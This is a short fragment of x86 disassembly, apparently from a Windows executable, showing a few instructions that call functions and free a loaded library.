push 0
push eax
mov byte [ebp - 0x1ac], 0
call fcn.0041d020
add esp, 0xc
lea eax, [ebp - 0x1b0]
push 1
push eax
push 1
push 0
call esi
push dword [ebp - 0x1b4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test esi, esi
je 0x40e4ad
lea eax, [ebp - 0x18c]
push eax
jmp 0x40e4b2